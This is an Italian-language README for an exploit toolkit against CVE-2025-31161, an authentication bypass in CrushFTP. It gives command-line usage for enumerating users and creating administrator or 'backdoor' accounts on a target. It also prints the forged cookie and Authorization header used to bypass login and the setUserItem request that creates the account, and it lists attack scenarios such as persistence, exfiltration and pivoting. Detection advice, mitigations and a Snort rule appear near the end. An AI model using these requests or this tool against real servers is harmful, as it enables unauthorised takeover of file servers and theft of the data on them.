Bypass di autenticazione CrushFTP - CVE-2025-31161

Un toolkit completo per sfruttare la vulnerabilità CVE-2025-31161, un bypass di autenticazione in CrushFTP che consente la creazione non autorizzata di account utente.

🔍 Cos'è CVE-2025-31161?

CVE-2025-31161 è una vulnerabilità critica di bypass dell'autenticazione in CrushFTP che consente agli aggressori di creare account utente non autorizzati senza una corretta autenticazione. Questa vulnerabilità esiste nella funzionalità di gestione utenti dell'interfaccia web.

Dettagli tecnici

• Punteggio CVSS: TBD
• Software interessato: Interfaccia web CrushFTP
• Vettore d'attacco: Rete
• Autenticazione richiesta: Nessuna
• Impatto: Compromissione completa del sistema tramite creazione non autorizzata di account

🚀 Funzionalità

• Supporto multilinguaggio: Implementazioni in Go e Bash
• Rilevamento intelligente delle vulnerabilità: Controlla automaticamente se il target è vulnerabile prima dello sfruttamento
• Enumerazione utenti: Elenca gli utenti esistenti sui target vulnerabili
• Creazione utenti: Crea nuovi account amministrativi
• Modalità interattiva: Richiede le credenziali solo quando il target è confermato vulnerabile
• Flag abbreviati: Accesso rapido con i flag -t, -p, -tu
• Supporto porte personalizzate: Porta configurabile per diversi scenari di deployment
• Focus educativo: Progettato per sfide CTF e ricerca sulla sicurezza

📁 Struttura del repository

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # This documentation
├── cve-2025-31161.go        # Go implementation (recommended)
├── cve-2025-31161.sh        # Bash implementation
└── LICENSE                  # MIT License

🛠️ Installazione e requisiti

Prerequisiti

Per la versione Go (consigliata)

# Install Go (if not already installed)
sudo apt install golang-go
# or
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Per la versione Bash

# Requires curl (usually pre-installed)
sudo apt install curl

Configurazione rapida

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Utilizzo

Versione Go (consigliata)

Elenca utenti

# Basic usage with shorthand flags
go run cve-2025-31161.go -t example.com -lu

# With custom port
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Long form flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Aggiungi nuovo utente

# Create new user (will prompt for username/password)
go run cve-2025-31161.go -t example.com -au

# With custom target user (default: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Long form flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Versione Bash

Elenca utenti

# Basic usage
./cve-2025-31161.sh -t example.com -lu

# With custom port
./cve-2025-31161.sh -t example.com -p 8080 -lu

Aggiungi nuovo utente

# Create new user
./cve-2025-31161.sh -t example.com -au

# With custom settings
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Flag disponibili

Esempi di utilizzo

# Example 1: Enumerate users on target
go run cve-2025-31161.go -t ftp.example.htb -lu

# Example 2: Create backdoor account
go run cve-2025-31161.go -t ftp.example.htb -au
# Then enter: username: backdoor, password: P@ssw0rd123

# Example 3: Non-standard port with user enumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# View help
./cve-2025-31161.sh --help

🔄 Come funziona

flowchart TD
    A[Start Exploit] --> B[Check Target Connectivity]
    B --> C{Target Reachable?}
    C -->|No| D[Exit: Connection Failed]
    C -->|Yes| E[Send getUserList Request]
    E --> F{Response Contains OK?}
    F -->|No| G[Exit: Not Vulnerable]
    F -->|Yes| H[Target is Vulnerable!]
    H --> I{Mode Selected?}
    I -->|List Users -lu| J[Parse XML Response]
    J --> K[Display User List]
    K --> L[Exit: Success]
    I -->|Add User -au| M[Prompt for Username]
    M --> N[Prompt for Password]
    N --> O[Send Warm-up Request]
    O --> P[Craft User Creation Payload]
    P --> Q[Send setUserItem Request]
    Q --> R{User Created Successfully?}
    R -->|Yes| S[Success: Account Created]
    R -->|No| T[Failed: Exploitation Failed]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Spiegazione del flusso di exploit

Passo 1: Rilevamento della vulnerabilità

Lo script invia prima una richiesta getUserList per verificare se il target è vulnerabile:

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Se la risposta contiene <response_status>OK</response_status>, il target è vulnerabile.

Passo 2a: Enumerazione utenti (Modalità elenco utenti)

Quando si utilizza il flag -lu, lo script analizza la risposta XML ed estrae i nomi utente:

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Output:

[+] Users:
  - ben
  - crushadmin
  - default

Passo 2b: Creazione account utente (Modalità aggiungi utente)

Quando si utilizza il flag -au, lo script invia una richiesta setUserItem con un payload XML malevolo:

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Passo 3: Verifica

Lo script verifica la presenza di <response_status>OK</response_status> nella risposta per confermare la creazione riuscita dell'utente.

⚠️ Dettagli della vulnerabilità

Causa principale

La vulnerabilità deriva da controlli di autenticazione insufficienti nella funzionalità di gestione utenti dell'interfaccia web CrushFTP. L'applicazione accetta richieste di creazione utente senza convalidare correttamente i permessi del chiamante.

Valutazione dell'impatto

• Riservatezza: ALTA - Accesso non autorizzato al file system
• Integrità: ALTA - Capacità di modificare/caricare file
• Disponibilità: MEDIA - Potenziale esaurimento delle risorse

Scenari di attacco

1. Accesso iniziale: Creare account backdoor per accesso persistente
2. Escalation dei privilegi: Creare account a livello amministrativo
3. Esfiltrazione dati: Accedere a file sensibili tramite interfaccia FTP
4. Movimento laterale: Usare il server FTP compromesso come punto di pivot

🛡️ Rilevamento e mitigazione

Metodi di rilevamento

• Monitorare richieste setUserItem insolite nei log web
• Controllare la presenza di nuovi account utente creati al di fuori dei processi normali
• Implementare rilevamento anomalie per schemi di bypass dell'autenticazione

Strategie di mitigazione

1. Immediata: Bloccare l'accesso agli endpoint /webinterface/function/
2. Breve termine: Aggiornare alla versione corretta di CrushFTP
3. Lungo termine: Implementare controlli di autenticazione adeguati

Firme di rete

# Snort/Suricata Rule Example
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Casi d'uso educativi

Scenari CTF

• Sicurezza delle applicazioni web: Comprendere le vulnerabilità di bypass dell'autenticazione
• Penetration testing: Dimostrare tecniche di sfruttamento nel mondo reale
• Esercitazioni Red Team: Simulare attacchi stile APT

Obiettivi di apprendimento

• Comprendere la manipolazione delle richieste HTTP
• Tecniche di injection XML
• Metodologie di bypass dell'autenticazione
• Sviluppo di exploit in più linguaggi

🚨 Dichiarazione di non responsabilità legale

⚠️ IMPORTANTE: Questo strumento è progettato per:

• Scopi educativi
• Penetration testing autorizzato
• Competizioni CTF
• Ricerca sulla sicurezza in ambienti controllati

NON USARLO su sistemi senza esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale e può comportare gravi conseguenze legali.

🤝 Contributi

I contributi sono benvenuti! Per favore:

1. Fai un fork del repository
2. Crea un branch per la funzionalità (git checkout -b feature/miglioramento)
3. Committa le tue modifiche (git commit -am 'Aggiungi nuova funzionalità')
4. Pusha sul branch (git push origin feature/miglioramento)
5. Crea una Pull Request

Linee guida per lo sviluppo

• Segui lo stile del codice esistente
• Aggiungi commenti esaurienti
• Testa su più ambienti target
• Aggiorna la documentazione per le nuove funzionalità

📝 Cronologia versioni

📚 Riferimenti

• Dettagli CVE-2025-31161
• Sito ufficiale CrushFTP
• OWASP Bypass di autenticazione
• Ricerca originale di Immersive Labs

📧 Contatto

Per domande, suggerimenti o problemi di sicurezza, apri una issue in questo repository.